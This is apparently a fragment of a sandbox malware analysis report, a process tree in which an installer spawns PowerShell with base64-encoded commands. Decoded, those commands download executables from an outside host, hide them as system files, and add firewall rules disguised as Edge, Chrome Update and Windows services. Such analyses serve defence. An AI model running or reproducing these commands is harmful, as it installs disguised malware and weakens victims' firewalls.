                    • Suspicious behavior: EnumeratesProcesses
                    PID:1700
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiACAALQBQAGEAdABoAFQAeQBwAGUAIABMAGUAYQBmACkAewB9AAoAZQBsAHMAZQAgAHsACgAJAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACIAaAB0AHQAcABzADoALwAvAGYAaQBsAGUAcwAuAGYAcgBlAGUAcwBvAGYAdABwAGwAYQBjAGUALgBjAG8AbQAvAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiACAALQBPAHUAdABGAGkAbABlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiAAoAfQAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAFIAdQBuAHQAaQBtAGUAQgByAG8AbwBrAGUAcgAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAFIAdQBuAHQAaQBtAGUAQgByAG8AbwBrAGUAcgAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwA=
                      4⤵
                      • Drops file in System32 directory
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1712
                      • C:\Windows\system32\chcp.com
                        "C:\Windows\system32\chcp.com" 1252
                        5⤵
                          PID:1772
                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                      -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss9BCF.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi9BCC.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr9BCD.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr9BCE.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                      3⤵
                      • Drops file in System32 directory
                      • Suspicious behavior: EnumeratesProcesses
                      PID:584
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAbQBhAGsAZQAuAGUAeABlACIAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQB7AH0ACgBlAGwAcwBlACAAewAKAAkASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQBzAC4AZgByAGUAZQBzAG8AZgB0AHAAbABhAGMAZQAuAGMAbwBtAC8ARQBtAGIAbQBhAGsAZQAuAGUAeABlACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBtAGEAawBlAC4AZQB4AGUAIgAKAH0ACgAKACQAZgBpAGwAZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAbQBhAGsAZQAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAFUAcwBlAHIAMAAwAEIARQBCAHIAbwBrAGUAcgAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAFUAcwBlAHIAMAAwAEIARQBCAHIAbwBrAGUAcgAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwA=
                        4⤵
                        • Drops file in System32 directory
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3020
                        • C:\Windows\system32\chcp.com
                          "C:\Windows\system32\chcp.com" 1252
                          5⤵
                            PID:652
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssA334.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiA331.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrA332.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrA333.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                        3⤵
                        • Drops file in System32 directory
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2604
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAZQBkAGkAdAAuAGUAeABlACIAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQB7AH0ACgBlAGwAcwBlACAAewAKAAkASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQBzAC4AZgByAGUAZQBzAG8AZgB0AHAAbABhAGMAZQAuAGMAbwBtAC8ARQBtAGIAZQBkAGkAdAAuAGUAeABlACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBlAGQAaQB0AC4AZQB4AGUAIgAKAH0ACgAKACQAZgBpAGwAZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARQBtAGIAZQBkAGkAdAAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAFAAUABEAEEAVABBAFwATABPAEMAQQBMAFwAVABFAE0AUABcAEkAcwBhAHMAcwAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAEkAcwBhAHMAcwAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwA=
                          4⤵
                          • Drops file in System32 directory
                          • Suspicious behavior: EnumeratesProcesses
                          PID:944
                          • C:\Windows\system32\chcp.com
                            "C:\Windows\system32\chcp.com" 1252
                            5⤵
                              PID:2000
                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                          -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssA79C.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiA799.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrA79A.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrA79B.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                          3⤵
                          • Drops file in System32 directory
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2028
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAIgAgAC0ARwByAG8AdQBwACAAIgBNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFAAUgBPAEcAUgBBAE0ARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAASQBuAGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAIABFAFUATABBACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlACAARQBVAEwAQQAiACAALQBHAHIAbwB1AHAAIAAiAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAgAEUAVQBMAEEAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFAAUgBPAEcAUgBBAE0ARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQA=
                            4⤵
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1984
                            • C:\Windows\system32\chcp.com
                              "C:\Windows\system32\chcp.com" 1252
                              5⤵
                                PID:2424
                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                            -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssAE07.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiAE04.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrAE05.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrAE06.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                            3⤵
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2996
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAUwBlAGEAcgBjAGgAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAUwBlAGEAcgBjAGgAIgAgAC0ARwByAG8AdQBwACAAIgBXAGkAbgBkAG8AdwBzACAAUwBlAGEAcgBjAGgAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABJAGwAaABvAHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAASQBuAGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAUwBlAGEAcgBjAGgAIABTAGUAcgB2AGkAYwBlACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAFMAZQBhAHIAYwBoACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABTAGUAYQByAGMAaAAgAFMAZQByAHYAaQBjAGUAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABJAGwAaABvAHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAQwBoAHIAbwBtAGUAIABVAHAAZABhAHQAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAEMAaAByAG8AbQBlACAAVQBwAGQAYQB0AGUAIgAgAC0ARwByAG8AdQBwACAAIgBDAGgAcgBvAG0AZQAgAFUAcABkAGEAdABlACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQASQBsAGgAbwBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAQwBoAHIAbwBtAGUAIABVAHAAZABhAHQAZQAgAFMAZQByAHYAaQBjAGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBDAGgAcgBvAG0AZQAgAFUAcABkAGEAdABlACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAEMAaAByAG8AbQBlACAAVQBwAGQAYQB0AGUAIABTAGUAcgB2AGkAYwBlACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQASQBsAGgAbwBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAE8AdQB0AGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUA
                              4⤵
                              • Drops file in System32 directory
                              • Suspicious behavior: EnumeratesProcesses
                              PID:332
                              • C:\Windows\system32\chcp.com
                                "C:\Windows\system32\chcp.com" 1252
                                5⤵
                                  PID:1812
                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                              -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssBAC8.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiBAC5.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrBAC6.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrBAC7.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                              3⤵
                              • Drops file in System32 directory
                              • Suspicious behavior: EnumeratesProcesses
                              PID:576
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAATQBlAGQAaQBhACAAVAB1AG4AaQBuAGcAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAATQBlAGQAaQBhACAAVAB1AG4AaQBuAGcAIgAgAC0ARwByAG8AdQBwACAAIgBXAGkAbgBkAG8AdwBzACAATQBlAGQAaQBhACAAVAB1AG4AaQBuAGcAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABsAEkAaABvAHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAASQBuAGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAATQBlAGQAaQBhACAAVAB1AG4AaQBuAGcAIABTAGUAcgB2AGkAYwBlACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAE0AZQBkAGkAYQAgAFQAdQBuAGkAbgBnACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABUAHUAbgBpAG4AZwAgAFMAZQByAHYAaQBjAGUAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABsAEkAaABvAHMAdAAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAFQAZQBsAGUAbQBlAHQAcgB5ACAATQBhAG4AYQBnAGUAcgAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABUAGUAbABlAG0AZQB0AHIAeQAgAE0AYQBuAGEAZwBlAHIAIgAgAC0ARwByAG8AdQBwACAAIgBXAGkAbgBkAG8AdwBzACAAVABlAGwAZQBtAGUAdAByAHkAIABNAGEAbgBhAGcAZQByACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQAbABJAGgAbwBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAFQAZQBsAGUAbQBlAHQAcgB5ACAATQBhAG4AYQBnAGUAcgAgAFMAZQByAHYAaQBjAGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAVABlAGwAZQBtAGUAdAByAHkAIABNAGEAbgBhAGcAZQByACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABUAGUAbABlAG0AZQB0AHIAeQAgAE0AYQBuAGEAZwBlAHIAIABTAGUAcgB2AGkAYwBlACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQAbABJAGgAbwBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAE8AdQB0AGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUA
                                4⤵
                                • Drops file in System32 directory
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2648
                                • C:\Windows\system32\chcp.com
                                  "C:\Windows\system32\chcp.com" 1252
                                  5⤵
                                    PID:2068
                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssC3E2.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiC3CF.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrC3E0.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrC3E1.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                3⤵
                                • Drops file in System32 directory
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3044
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
